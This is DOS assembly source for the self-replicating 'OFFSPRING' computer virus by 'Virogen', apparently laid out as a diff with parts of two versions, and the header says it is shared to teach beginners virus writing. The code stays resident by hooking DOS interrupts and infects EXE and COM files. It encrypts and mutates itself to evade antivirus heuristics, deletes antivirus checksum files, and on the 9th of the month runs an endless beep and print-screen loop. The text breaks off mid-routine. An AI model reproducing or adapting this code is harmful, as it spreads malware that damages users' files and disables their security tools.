mov word ptr xor_op+2,dx ; save encryption #
|
||||
|
||||
|
||||
mov si,0100h
|
||||
lea di,vend+50 ; destination
|
||||
mov cx,offset vend-100h ; bytes to move
|
||||
cld
|
||||
rep movsb ; copy virus outside of code
|
||||
|
||||
enc_addr:
|
||||
mov di,offset vend
|
||||
enc_add:
|
||||
add di,offset enc_data-100h+52 ; offset of new copy of virus
|
||||
|
||||
go_enc:
|
||||
mov byte ptr ret_byte,0c3h
|
||||
call encrypt ; encrypt new copy of virus
|
||||
mov byte ptr ret_byte,90h
|
||||
|
||||
;----------------------------------------
|
||||
; Write and close new infected file
|
||||
|
||||
pop bx
|
||||
mov cx, offset vend-100h ; # of bytes to write
|
||||
add cx, pad_bytes
|
||||
lea dx, vend+50 ; Offset of buffer
|
||||
mov ah, 40h ; -- our program in memory
|
||||
int 21h ; Call INT 21H function 40h
|
||||
|
||||
mov ax,5701h ; Restore data/time
|
||||
mov cx,word ptr vend[f_time]
|
||||
mov dx,word ptr vend[f_date]
|
||||
int 21h
|
||||
|
||||
|
||||
close:
|
||||
mov ah, 3eh
|
||||
int 21h
|
||||
|
||||
|
||||
no_infect:
|
||||
|
||||
; Find next file
|
||||
find_file :
|
||||
|
||||
cmp inf_count, max_inf
|
||||
je end_prog
|
||||
mov ah,4fh
|
||||
int 21h
|
||||
jc end_prog
|
||||
jmp next_loop
|
||||
|
||||
|
||||
end_prog:
|
||||
exit :
|
||||
cmp inf_count,0 ; Start parastic infection on next run
|
||||
jne find_done
|
||||
cmp byte ptr vtype, parastic ; Parastic infection done?
|
||||
je find_done
|
||||
mov fname_off, offset fname2 ; Point to new filespec
|
||||
mov byte ptr vtype, parastic ; virus type = parastic
|
||||
jmp find_first
|
||||
|
||||
|
||||
find_done:
|
||||
mov byte ptr vtype,spawn
|
||||
mov fname_off, offset fname1
|
||||
ret
|
||||
resident endp
|
||||
|
||||
vtype db spawn ; Infection type
|
||||
rot_num dw 0000 ; Used when replacing bytes with OP_SET
|
||||
inf_count db 0 ; How many files we have infected this run
|
||||
com_name db 'COMMAND.COM' ; obvious
|
||||
new_code db 90h,90h,90h ; preceed with three NOPs
|
||||
new_jmp db 0e9h,00,00 ; New Jump
|
||||
org_bytes db 7 dup(0) ; original first six bytes of parastic inf.
|
||||
pad_bytes dw 0 ; Increase in viru size
|
||||
add_mem db 0 ; Add memory back?
|
||||
old_dta dd 0 ; Old DTA Segment:Address
|
||||
inc_op db 47h ; INC DI (47h) or INC SI (46h)
|
||||
|
||||
copyr db '(c)1993 negoriV' ; my copyright
|
||||
vname db 0ah,0dh,'OFFSPRING V0.82','$'
|
||||
|
||||
fname1 db '*.EXE',0 ; Filespec
|
||||
fname2 db '*.COM',0 ; Filespec
|
||||
fname_off dw fname1 ; Offset of Filespec to use
|
||||
times_inc db 0 ; # of times encryption call incremented
|
||||
sl db '\' ; Backslash for directory name
|
||||
file_dir db 64 dup(0) ; directory of file we infected
|
||||
file_name db 13 dup(0) ; filename of file we infected
|
||||
|
||||
par_blk dw 0 ; command line count byte -psp
|
||||
par_cmd dw 0080h ; Point to the command line -psp
|
||||
par_seg dw 0 ; seg
|
||||
dw 05ch ; Use default FCB's in psp to save space
|
||||
par1 dw 0 ;
|
||||
dw 06ch ; FCB #2
|
||||
par2 dw 0 ;
|
||||
vend: ; End of virus
|
||||
|
||||
cseg ends
|
||||
end start
|
||||
@@ -0,0 +1,903 @@
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ************************************************
|
||||
; OFFSPRING v0.89 - BY VIROGEN - 10-03-93
|
||||
; ************************************************
|
||||
; - Compatible with : TASM /m2
|
||||
;
|
||||
;
|
||||
; .. Welcome to another virogen viral creation! I'm supplying this source
|
||||
; code so hopefully beginners in the art of virus writing can learn something
|
||||
; from it. Please don't hack up this code and put your name on it.. thank
|
||||
; ya, thank ya very much! Oh yea, one more thing.. say whoever gave Mcafee
|
||||
; a real OLD version of this virus, just keep giving him that same one eh?
|
||||
;
|
||||
; TYPE : Parastic & Spawning Resident Encrypting (PSRhA)
|
||||
;
|
||||
;
|
||||
; VERSION : 0.89
|
||||
; - No longer detectable by TBAV heuristics.
|
||||
; - No longer detectable by FPROT heuristics.
|
||||
; - Infects on dir and drive change when no program running.
|
||||
; deletes ANTI-VIR.DAT and CHKLST.* files at the same time.
|
||||
; - finally went through and somewhat cleaned up the messy code
|
||||
; at least a little bit.
|
||||
; - mutation is improved
|
||||
;
|
||||
;
|
||||
title offspring_1
|
||||
cseg segment
|
||||
assume cs: cseg, ds: cseg, ss: cseg, es: cseg
|
||||
|
||||
signal equ 7dh ; Installation check
|
||||
reply equ 0fch ; reply to check
|
||||
|
||||
max_inf equ 05 ; Maximum files to infect per run
|
||||
max_rotation equ 9 ; number of bytes in switch byte table
|
||||
parastic equ 01 ; Parastic infection
|
||||
spawn equ 00 ; Spawning infection
|
||||
|
||||
org 100h ; Leave room for PSP
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
|
||||
; Start of viral code
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
start:
|
||||
|
||||
new_code db 0B8h ; MOV NN,xxxx
|
||||
dw main ; main
|
||||
push_reg db 50h ; PUSH NN
|
||||
db 0C3h ; RET - jump to NN
|
||||
db 0E9h ; id byte - not code
|
||||
trick_jmp db 0E9h ; fake jump - f00l tbav
|
||||
dw 5999 ; random number 0-5999
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
|
||||
; Encryption/Decryption
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
|
||||
_enc:
|
||||
di_op db 0bfh ; MOV DI|SI,XXXX
|
||||
mov_di dw offset enc_data ; Point to byte after encryption num
|
||||
encrypt:
|
||||
cx_m db 90h,0b9h ; MOV CX
|
||||
b_wr dw (offset vend-offset enc_data)/2
|
||||
xor_loop:
|
||||
xor_op: xor word ptr [di],0666h ; Xor each word - number changes accordingly
|
||||
fill_space: inc ax ; This is filled with INC XX's
|
||||
inc ax ; kill F-PROT heuristic detection
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
inc ax ;
|
||||
sw_byte3: ; INC SI|DI changes position in these bytes
|
||||
inc di ; INC SI|DI
|
||||
inc ax ; INC xx
|
||||
inc ax ; INC xx
|
||||
sw_byte4:
|
||||
inc di ; INC SI|DI
|
||||
inc ax ; INC xx
|
||||
inc ax ; INX xx
|
||||
loop xor_loop ; loop while cx != 0
|
||||
|
||||
ret_byte db 90h ; Changes to RET (0C3h) - then back to NOP
|
||||
|
||||
enc_data: ; Start of encrypted data
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; Non-Resident portion of virus
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
main proc
|
||||
|
||||
db 0bdh ; MOV BP,xxxx - Load delta offset
|
||||
set_bp: dw 0000
|
||||
|
||||
mov ax,ds: 002ch ; Get environment address
|
||||
mov par_blk[bp],ax ; Save in parameter block for exec
|
||||
|
||||
mov par1[bp],cs ; Save segments for spawn
|
||||
mov par2[bp],cs
|
||||
mov par_seg[bp],cs
|
||||
|
||||
mov ah,2ah ; Get date
|
||||
int 21h
|
||||
|
||||
cmp dl,9 ; 9th?
|
||||
jne no_display
|
||||
|
||||
show_myself:
|
||||
mov ah,09 ; display virus name
|
||||
lea dx,v_id[bp]
|
||||
int 21h
|
||||
|
||||
xor ax,ax ; seg 0
|
||||
mov es,ax
|
||||
mov dx,1010101010101010b ; lights
|
||||
chg_lights: ; Infinite loop to change keyboard
|
||||
mov word ptr es: [416h],dx ; 0040:0016h = keyb flags
|
||||
ror dx,1 ; rotate bits
|
||||
mov cx,0101h ; scan code/ascii
|
||||
mov ah,05h ; push a beep onto keyb buf
|
||||
int 16h
|
||||
mov ah,10h ; Read key back so we don't fill
|
||||
int 16h ; up the keyboard buffer
|
||||
int 5h ; Print-Screen
|
||||
mov ax,0a07h ; Write BEEP to screen
|
||||
xor bh,bh
|
||||
mov cx,1
|
||||
int 10h
|
||||
mov ah,86h ; Delay
|
||||
mov cx,0002h
|
||||
int 15h
|
||||
|
||||
jmp chg_lights
|
||||
|
||||
no_display:
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; INSTALL - Install the virus in memory
|
||||
|
||||
mov ah,signal ; is virus already in mem?
|
||||
int 21h
|
||||
cmp ah,reply ;
|
||||
jne cont_i ; nope.. continue
|
||||
jmp no_install ; yes.. don't install again
|
||||
cont_i:
|
||||
|
||||
mov ax,cs
|
||||
dec ax
|
||||
mov ds,ax
|
||||
cmp byte ptr ds: [0],'Z' ;Is this the last MCB in
|
||||
;the chain?
|
||||
je cont_i2
|
||||
jmp no_install
|
||||
cont_i2:
|
||||
|
||||
|
||||
mov ax,ds: [3] ;Block size in MCB
|
||||
sub ax,230 ;Shrink Block Size-quick estimate
|
||||
mov ds: [3],ax
|
||||
|
||||
mov bx,ax
|
||||
mov ax,es
|
||||
add ax,bx
|
||||
mov es,ax ;Find high memory seg
|
||||
|
||||
mov si,bp
|
||||
add si,0100h
|
||||
mov cx,(offset vend - offset start)
|
||||
mov ax,ds
|
||||
inc ax
|
||||
mov ds,ax
|
||||
mov di,100h ; New location in high memory
|
||||
cld
|
||||
rep movsb ; Copy virus to high memory
|
||||
|
||||
push es
|
||||
pop ds
|
||||
xor ax,ax
|
||||
mov es,ax ; null es
|
||||
mov ax,es: [21h*4+2] ; store old int addresses
|
||||
mov bx,es: [21h*4]
|
||||
mov ds: old21_seg,ax
|
||||
mov ds: old21_ofs,bx
|
||||
mov ax, es: [20h*4+2]
|
||||
mov bx, es:[20h*4]
|
||||
mov ds: old_20_seg,ax
|
||||
mov ds: old_20_ofs,bx
|
||||
mov ax, es:[27h*4+2]
|
||||
mov bx, es:[27h*4]
|
||||
mov ds: old_27_seg,ax
|
||||
mov ds: old_27_ofs,bx
|
||||
|
||||
cli ; disable interrrupts
|
||||
|
||||
mov es: [21h*4+2],ds ; Set new addresses
|
||||
lea ax, new21
|
||||
mov es: [21h*4],ax
|
||||
|
||||
mov es: [20h*4+2],ds
|
||||
lea ax, new20
|
||||
mov es: [20h*4],ax
|
||||
|
||||
mov es: [27h*4+2],ds
|
||||
lea ax, new27
|
||||
mov es: [27h*4],ax
|
||||
|
||||
sti ; re-enable interrupts
|
||||
|
||||
no_install:
|
||||
push cs ; Restore segment regs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
|
||||
cmp byte ptr vtype[bp],parastic ; parastic infection?
|
||||
je com_return ; yes, return to start of COM
|
||||
|
||||
mov bx,(offset vend+50) ; Calculate memory needed
|
||||
mov cl,4 ; divide by 16
|
||||
shr bx,cl
|
||||
inc bx
|
||||
mov ah,4ah
|
||||
int 21h ; Release un-needed memory
|
||||
|
||||
lea dx,file_dir-1[bp] ; Execute the original EXE
|
||||
lea bx,par_blk[bp]
|
||||
mov ch,0FBh ; tell mem. resident virus
|
||||
mov ax,4b00h ; that it's us.
|
||||
int 21h
|
||||
|
||||
mov ah,4ch ; Exit
|
||||
int 21h
|
||||
|
||||
com_return:
|
||||
|
||||
inc dir_infect
|
||||
|
||||
mov si,bp ;
|
||||
mov cx,7 ; Restore original first
|
||||
add si,offset org_bytes ; seven bytes of COM file
|
||||
mov di,0100h ;
|
||||
cld ;
|
||||
rep movsb ;
|
||||
|
||||
mov ax,0100h ; Jump back to 100h - start of
|
||||
push ax ; original program
|
||||
ret ;
|
||||
|
||||
main endp
|
||||
|
||||
|
||||
;************************************************************************
|
||||
; Interrupt handlers
|
||||
;************************************************************************
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; INT 27h - terminate stay resident
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
new27 proc
|
||||
dec byte ptr cs:[dir_infect] ; decrement running counter
|
||||
db 0EAh ; Jump to original offset, seg
|
||||
old_27_ofs dw 0
|
||||
old_27_seg dw 0
|
||||
new27 endp
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
|
||||
; INT 20h - terminate process
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
new20 proc
|
||||
dec byte ptr cs:[dir_infect] ; decrement running counter
|
||||
db 0EAh ; Jump to original offset, seg
|
||||
old_20_ofs dw 0
|
||||
old_20_seg dw 0
|
||||
new20 endp
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; INT 24h - Critical Error Handler
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
eh proc
|
||||
mov al,3 ; fail call
|
||||
iret ; interrupt return
|
||||
eh endp
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; INT 21h - DOS function calls
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
new21 proc ; New INT 21H handler
|
||||
|
||||
cmp ah, signal ; signaling us?
|
||||
jne no
|
||||
mov ah,reply ; yep, give our offspring what he wants
|
||||
jmp end_21
|
||||
no:
|
||||
cmp ax,4b00h ; exec func?
|
||||
jne check_other
|
||||
inc byte ptr cs:[dir_infect]
|
||||
jmp exec_func
|
||||
|
||||
check_other:
|
||||
cmp ah,3Bh ; change directory?
|
||||
je kill_func ; yes, kill CHKLIST.* files
|
||||
cmp ah,0Eh ; change drive?
|
||||
je kill_func ; yes, kill CHKLIST.* files
|
||||
cmp ah,4ch ; terminate process?
|
||||
je dec_counter ; yes, decrement running counter
|
||||
cmp ah,31h ; tsr?
|
||||
je dec_counter ; yes, decrement running counter
|
||||
cmp ah,00h ; terminate process?
|
||||
je dec_counter ; yes, decrement running counter
|
||||
|
||||
jmp end_21 ; return to original INT 21h
|
||||
|
||||
kill_func:
|
||||
mov byte ptr cs:[kill_now],1 ; remember it's time to kill CRC
|
||||
exec_func:
|
||||
cmp ch,0FBh ; Is our virus executing this prog?
|
||||
je end_21 ; yes, return to orginal INT 21h
|
||||
run_res:
|
||||
pushf ; Push flags
|
||||
push ax ; Push regs
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push di
|
||||
push si
|
||||
push bp
|
||||
push ds
|
||||
push es
|
||||
push sp
|
||||
push ss
|
||||
|
||||
push cs ; ds=cs
|
||||
pop ds
|
||||
|
||||
|
||||
xor ax,ax ; nullify ES
|
||||
mov es,ax
|
||||
|
||||
|
||||
cmp byte ptr add_mem,1 ; Restore system conventional mem size?
|
||||
je rel_mem ; yes, back to 640k
|
||||
cmp ah,48h ; alloc. mem block? If so we subtract 4k from
|
||||
je set_mem ; total system memory.
|
||||
|
||||
jmp no_mem_func ; don't f00l with memory now
|
||||
|
||||
set_mem:
|
||||
sub word ptr es: [413h],4 ; Subtract 4k from total sys mem
|
||||
inc byte ptr add_mem ; make sure we know to add this back
|
||||
jmp no_mem_func
|
||||
rel_mem:
|
||||
add word ptr es: [413h],4 ; Add 4k to total sys mem
|
||||
dec byte ptr add_mem
|
||||
|
||||
|
||||
no_mem_func:
|
||||
mov ah,2fh ; Get DTA Address
|
||||
int 21h ;
|
||||
|
||||
mov ax,es ; Save it so we can restore it
|
||||
mov word ptr old_dta,bx
|
||||
mov word ptr old_dta+2,ax
|
||||
push cs ; es=cs
|
||||
pop es
|
||||
|
||||
call resident ; Call infection kernal
|
||||
|
||||
mov dx,word ptr old_dta ; restore DTA
|
||||
mov ax,word ptr old_dta+2 ;
|
||||
mov ds,ax ;
|
||||
mov ah,1ah ;
|
||||
int 21h ;
|
||||
|
||||
pop ss ; Pop regs
|
||||
pop sp
|
||||
pop es
|
||||
pop ds
|
||||
pop bp
|
||||
pop si
|
||||
pop di
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
popf ; Pop flags
|
||||
end_21 :
|
||||
db 0eah ; jump to original int 21h
|
||||
old21_ofs dw 0 ; Offset of old INT 21H
|
||||
old21_seg dw 0 ; Seg of old INT 21h
|
||||
|
||||
dec_counter:
|
||||
dec byte ptr cs:[dir_infect] ; decrement running counter
|
||||
jmp end_21
|
||||
|
||||
new21 endp ; End of handler
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; Clear ff/fn buf
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
clear_buf proc
|
||||
mov word ptr fcb,0 ; Clear ff/fn buffer
|
||||
lea si, fcb
|
||||
lea di, fcb+2
|
||||
mov cx, 22
|
||||
cld
|
||||
rep movsw
|
||||
ret
|
||||
clear_buf endp
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; Resident - This is called from out INT 21h handler
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
resident proc
|
||||
|
||||
xor ax,ax ; es=segment 0
|
||||
mov es,ax ; ..
|
||||
mov ax,es:[24h*4+2] ; get segment of INT 24h
|
||||
mov bx,es:[24h*4] ; get offset of INT 24h
|
||||
mov old_eh_seg,ax ; save segment
|
||||
mov old_eh_off,bx ; save offset
|
||||
cli ; turn off interrupts
|
||||
mov es:[24h*4+2],ds ; set segment to our handler
|
||||
lea ax,eh ;
|
||||
mov es:[24h*4],ax ; set offset to our handler
|
||||
sti
|
||||
|
||||
push ds ; es=ds
|
||||
pop es
|
||||
|
||||
; Set DTA address - This is for the Findfirst/Findnext INT 21H functions
|
||||
mov ah, 1ah
|
||||
lea dx, fcb
|
||||
int 21h
|
||||
|
||||
mov byte ptr vtype,spawn ; infection type = spawning
|
||||
mov word ptr set_bp,0000 ; BP=0000 on load
|
||||
mov byte ptr inf_count,0 ; null infection count
|
||||
mov fname_off, offset fname1 ; Set search for *.EXE
|
||||
mov word ptr mov_di,offset enc_data ; offset past encrypt.
|
||||
|
||||
|
||||
cmp byte ptr kill_now, 1 ; change dir, or change drive func?
|
||||
jne no_kill ; nope.. forget this shit
|
||||
cmp dir_infect,0 ; are we running a program right now?
|
||||
je cont_res ; nope.. keep going
|
||||
jmp fd2 ; yes.. don't infect this time
|
||||
cont_res:
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; KIll chklist.* (MSAV,CPAV) and anti-vir.dat (TBAV) files
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
|
||||
|
||||
mov chk_spec_addr, offset chk_spec ; kill CHKLIST.* first
|
||||
xor cx,cx ; keep track of which we've killed
|
||||
kill_another_spec:
|
||||
push cx
|
||||
|
||||
call clear_buf ; clear FCB
|
||||
|
||||
mov ah, 4eh ; Findfirst
|
||||
xor cx, cx ; Set normal file attribute search
|
||||
mov dx, chk_spec_addr
|
||||
int 21h
|
||||
|
||||
jc done_kill ; none found.. done
|
||||
kill_loop:
|
||||
mov ax,4301h ; Set file attributes to null
|
||||
xor cx,cx ;
|
||||
lea dx,f_name ;
|
||||
int 21h ;
|
||||
|
||||
mov ah,3ch ; create file = nullify size
|
||||
xor cx,cx ;
|
||||
lea dx,f_name ;
|
||||
int 21h ;
|
||||
|
||||
push ax ; get handle
|
||||
pop bx ;
|
||||
|
||||
mov ah,3eh ; close file
|
||||
int 21h ;
|
||||
|
||||
mov ah,41h ; delete the file to finish 'er off
|
||||
lea dx,f_name ;
|
||||
int 21h ;
|
||||
|
||||
mov ah,4fh ; find next file
|
||||
int 21h ;
|
||||
jnc kill_loop ; if more then kill 'em
|
||||
|
||||
done_kill:
|
||||
pop cx ; restore spec counter
|
||||
inc cx ; increment spec counter
|
||||
mov chk_spec_addr,offset chk_spec2 ; new file spec to kill
|
||||
cmp cx,2 ; have we already killed both?
|
||||
jne kill_another_spec ; nope.. kell 'em
|
||||
|
||||
no_kill:
|
||||
mov kill_now,0 ; we killed them this time
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
find_first:
|
||||
call clear_buf ; clear FCB again
|
||||
|
||||
mov ah, 4eh ; Findfirst
|
||||
xor cx, cx ; Set normal file attribute search
|
||||
mov dx, fname_off
|
||||
int 21h
|
||||
|
||||
jnc next_loop ; if still finding files then loop
|
||||
jmp end_prog ; if not.. then end this infection
|
||||
|
||||
next_loop :
|
||||
cmp byte ptr vtype, parastic ; parastic infection?
|
||||
je start_inf ; yes, skip all this
|
||||
|
||||
mov ah,47h ; get directory for
|
||||
xor dl,dl ; ..spawning infections
|
||||
lea si,file_dir ;
|
||||
int 21h ;
|
||||
|
||||
cmp word ptr f_sizel,0 ; Make sure file isn't 64k+
|
||||
je ok_find ; for spawning infections
|
||||
jmp find_file
|
||||
|
||||
ok_find:
|
||||
xor bx,bx ;
|
||||
lm3 : ; find end of directory name
|
||||
inc bx ;
|
||||
cmp file_dir[bx],0
|
||||
jne lm3
|
||||
|
||||
mov file_dir[bx],'\' ; append backslash to path
|
||||
inc bx
|
||||
|
||||
mov cx,13 ; append filename to path
|
||||
lea si,f_name
|
||||
lea di,file_dir[bx]
|
||||
cld
|
||||
rep movsb
|
||||
|
||||
xor bx,bx
|
||||
loop_me: ; search for filename ext.
|
||||
inc bx
|
||||
cmp byte ptr fcb+1eh [bx], '.'
|
||||
jne loop_me
|
||||
|
||||
inc bx ; change it to COM
|
||||
mov word ptr fcb+1eh [bx],'OC'
|
||||
mov byte ptr fcb+1eh [bx+2],'M'
|
||||
|
||||
|
||||
start_inf:
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄ
|
||||
; Change jump & fill space register
|
||||
;ÄÄÄÄÄÄÄÄÄÄ
|
||||
cmp byte ptr new_code, 0BFh
|
||||
jne inc_jmp
|
||||
mov byte ptr new_code, 0B7h
|
||||
mov byte ptr push_reg, 04Fh
|
||||
mov nop_sub, 3Fh
|
||||
inc_jmp:
|
||||
inc byte ptr new_code ; incrment register
|
||||
inc byte ptr push_reg ; increment register
|
||||
mov dh,nop_sub ; get old register to inc/dec
|
||||
mov old_nop_sub,dh ; save it.. to be used later
|
||||
inc nop_sub ; increment register
|
||||
jmp ok_jmp_changed
|
||||
ok_jmp_changed:
|
||||
|
||||
cmp byte ptr vtype, parastic ; parastic infection?
|
||||
je parastic_inf ; yes.. so jump
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
|
||||
; Spawning infection
|
||||
|
||||
mov word ptr new_code+1,offset _enc
|
||||
|
||||
lea dx,f_name
|
||||
mov cx, 02h ; read-only
|
||||
or cx, 01h ; hidden
|
||||
mov ah, 3ch ; Create file
|
||||
int 21h ; Call INT 21H
|
||||
jnc contin ; If Error-probably already infected
|
||||
jmp no_infect
|
||||
contin:
|
||||
inc inf_count
|
||||
mov bx,ax
|
||||
|
||||
jmp encrypt_ops
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
|
||||
; Parastic infection
|
||||
|
||||
parastic_inf :
|
||||
|
||||
lea si,f_name ; Is Command.COM?
|
||||
lea di,com_name
|
||||
mov cx,11
|
||||
cld
|
||||
repe cmpsb
|
||||
|
||||
jne cont_inf0 ; Yes, don't infect
|
||||
jmp no_infect
|
||||
|
||||
cont_inf0:
|
||||
|
||||
mov ax,3d02h ; Open file for reading & writing
|
||||
lea dx,f_name ; Filename in FF/FN buffer
|
||||
int 21h
|
||||
|
||||
jnc cont_inf1 ; error, skip infection
|
||||
jmp no_infect
|
||||
|
||||
cont_inf1:
|
||||
|
||||
|
||||
mov bx,ax ; get handle
|
||||
|
||||
mov ah,3fh ; Read first bytes of file
|
||||
mov cx,07
|
||||
lea dx,org_bytes
|
||||
int 21h
|
||||
|
||||
cmp byte ptr org_bytes+6,0E9h ; already infected?
|
||||
jne cont_inf ; nope let's infect this sucker
|
||||
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
jmp no_infect
|
||||
|
||||
cont_inf:
|
||||
inc inf_count
|
||||
mov ax,4202h ; Set pointer to end of file, so we
|
||||
xor cx,cx ; can find the file size
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
mov word ptr set_bp,ax ; Change the MOV BP inst.
|
||||
add ax, offset enc_data
|
||||
mov word ptr mov_di,ax ; chg mov di,xxxx
|
||||
|
||||
mov ax,4200h ; set file pointer to beginning
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
mov ax,word ptr f_sizeh ; save new address for parastic
|
||||
add ax,offset _enc ;
|
||||
mov word ptr new_code+1,ax ;
|
||||
|
||||
mov ah,40h ; write new first 7 bytes
|
||||
mov cx,7 ; .. jumps to virus code
|
||||
lea dx,new_code ;
|
||||
int 21h ;
|
||||
|
||||
mov ax,4202h ; Set file pointer to end of file
|
||||
xor cx,cx ;
|
||||
xor dx,dx ;
|
||||
int 21h
|
||||
|
||||
encrypt_ops:
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
|
||||
; Change encryptions ops
|
||||
|
||||
push bx ; save file handle
|
||||
|
||||
cmp pad_bytes,50 ; no more increase in file size?
|
||||
je reset_pad ; if yes, reset
|
||||
inc word ptr pad_bytes ; Increase file size
|
||||
inc word ptr b_wr ; make note of the increase
|
||||
jmp pad_ok ; don't reset pad
|
||||
reset_pad:
|
||||
mov word ptr pad_bytes,0 ; reset pad size
|
||||
sub word ptr b_wr,50 ; make note of decrease
|
||||
|
||||
pad_ok:
|
||||
|
||||
cmp inc_op,47h ; change ops from DI to SI
|
||||
jne set2
|
||||
dec inc_op
|
||||
dec byte ptr xor_op+1
|
||||
dec di_op
|
||||
dec byte ptr enc_addr
|
||||
dec byte ptr enc_add+1
|
||||
jmp chg_three
|
||||
set2:
|
||||
inc inc_op
|
||||
inc byte ptr xor_op+1
|
||||
inc di_op
|
||||
inc byte ptr enc_addr
|
||||
inc byte ptr enc_add+1
|
||||
|
||||
chg_three:
|
